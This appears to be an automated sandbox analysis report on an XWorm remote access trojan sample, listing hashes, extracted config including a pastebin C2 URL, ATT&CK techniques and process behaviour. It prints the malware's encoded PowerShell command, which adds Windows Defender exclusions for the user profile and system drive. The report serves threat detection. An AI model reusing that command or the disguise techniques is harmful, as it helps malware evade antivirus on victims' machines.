xworm | 9376c048648b422f2e84397e969f9d403a4fa6d30c2aabdaba2880e09761f28f

General

Target

BootstrapperNew.exe
Size

2.9MB
MD5

ec8002f20ee00ec84138608ebb7d5154
SHA1

d77b5dfa71bf3b48e351d69a6b251c21c8650d0d
SHA256

9376c048648b422f2e84397e969f9d403a4fa6d30c2aabdaba2880e09761f28f
SHA512

3ee7644cea6fef18cc17f8a0a46408bdb2897fa2da7808e5bc8563786f3a529b2c57141123e2d29eaba03061273ca28d3b3d3ae5758089ce2d4d6a992d661487
SSDEEP

49152:gUcNWu+5IYryMRbEKRWomDRtL38nmVu4+0R/1nnBsfwGGQCEnNNemNznrYWfym//:gUD15XNRbVRWomDRtrbrNnnsbGQCEnNP

Score

10^/10

xworm defense_evasion discovery rat trojan

Malware Config

Extracted

Family

xworm

Attributes

Install_directory
%port%
install_file
svchost.exe
pastebin_url
https://pastebin.com/raw/GMv8QPCE

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral1/files/0x00090000000120f9-3.dat	family_xworm
behavioral1/memory/1628-14-0x0000000001300000-0x0000000001314000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Executes dropped EXE 3 IoCs

pid	Process
1628	WMI Provider Host.exe
2288	BootstrapperNew.exe
1184	Process not Found

Loads dropped DLL 2 IoCs

pid	Process
2380	BootstrapperNew.exe
1184	Process not Found

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\WMI Provider Host.exe	BootstrapperNew.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BootstrapperNew.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2084	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1628	WMI Provider Host.exe
Token: SeDebugPrivilege	2084	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2380 wrote to memory of 2084	2380	BootstrapperNew.exe	30
PID 2380 wrote to memory of 2084	2380	BootstrapperNew.exe	30
PID 2380 wrote to memory of 2084	2380	BootstrapperNew.exe	30
PID 2380 wrote to memory of 2084	2380	BootstrapperNew.exe	30
PID 2380 wrote to memory of 1628	2380	BootstrapperNew.exe	32
PID 2380 wrote to memory of 1628	2380	BootstrapperNew.exe	32
PID 2380 wrote to memory of 1628	2380	BootstrapperNew.exe	32
PID 2380 wrote to memory of 1628	2380	BootstrapperNew.exe	32
PID 2380 wrote to memory of 2288	2380	BootstrapperNew.exe	33
PID 2380 wrote to memory of 2288	2380	BootstrapperNew.exe	33
PID 2380 wrote to memory of 2288	2380	BootstrapperNew.exe	33
PID 2380 wrote to memory of 2288	2380	BootstrapperNew.exe	33

C:\Users\Admin\AppData\Local\Temp\BootstrapperNew.exe
"C:\Users\Admin\AppData\Local\Temp\BootstrapperNew.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2380
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGgAYQBoACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGMAeQBmACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGoAbQBkACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGQAawBhACMAPgA="
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2084
- C:\Windows\WMI Provider Host.exe
  "C:\Windows\WMI Provider Host.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1628
- C:\Users\Admin\BootstrapperNew.exe
  "C:\Users\Admin\BootstrapperNew.exe"
  2⤵
  - Executes dropped EXE
  PID:2288

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

1

T1027

Command Obfuscation

1

T1027.010

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\WMI Provider Host.exe

Filesize
57KB

MD5
7f4631cc67828fc55d6c8bd1af02bf44

SHA1
54d6e1c3e0b655d231d461e32d187c0f2338295d

SHA256
5361c6e459fd49ee6a11f586c5dd3a2626f1338cdc4ce661287f48966451a6dd

SHA512
f931f8bde5aa6c2d528031fd5505eb6a0044edddcd1c5798ef762102e8d59e5701087259258d5cc15fea59e1e199f2c870fa95ad748a8e20680096cc4d62c348

Download Submit
\Users\Admin\BootstrapperNew.exe

Filesize
2.9MB

MD5
f227cdfd423b3cc03bb69c49babf4da3

SHA1
3db5a97d9b0f2545e7ba97026af6c28512200441

SHA256
cb5d6c1ca0aa6232a2d55e14b20ac4a9945a0bd063c57d60a5ed3ae94160e3e8

SHA512
b10afd03b02a928545c16fad39a6ae46b68b1e1a2477a6990803ce80008e7161fb2ebc9380ba15a1b074bb436aa34bcd6c94a922933d438b1c22489717e1e10e

Download Submit
memory/1628-6-0x000007FEF58F3000-0x000007FEF58F4000-memory.dmp

Filesize
4KB

Download
memory/1628-14-0x0000000001300000-0x0000000001314000-memory.dmp

Filesize
80KB

Download
memory/2288-21-0x000000001E850000-0x000000001E950000-memory.dmp

Filesize
1024KB

Download
memory/2288-16-0x0000000000560000-0x000000000056A000-memory.dmp

Filesize
40KB

Download
memory/2288-17-0x0000000000560000-0x000000000056A000-memory.dmp

Filesize
40KB

Download
memory/2288-18-0x0000000000560000-0x0000000000570000-memory.dmp

Filesize
64KB

Download
memory/2288-15-0x0000000000B40000-0x0000000000E22000-memory.dmp

Filesize
2.9MB

Download
memory/2288-22-0x0000000000AD0000-0x0000000000ADA000-memory.dmp

Filesize
40KB

Download
memory/2288-23-0x0000000000AE0000-0x0000000000B06000-memory.dmp

Filesize
152KB

Download
memory/2288-26-0x0000000000B10000-0x0000000000B1A000-memory.dmp

Filesize
40KB

Download
memory/2288-25-0x0000000002550000-0x0000000002566000-memory.dmp

Filesize
88KB

Download
memory/2288-24-0x0000000000B20000-0x0000000000B28000-memory.dmp

Filesize
32KB

Download
memory/2288-27-0x0000000000AC0000-0x0000000000ACA000-memory.dmp

Filesize
40KB

Download
memory/2288-28-0x0000000000B30000-0x0000000000B38000-memory.dmp

Filesize
32KB

Download
memory/2288-30-0x0000000000560000-0x000000000056A000-memory.dmp

Filesize
40KB

Download

Analysis

Sharing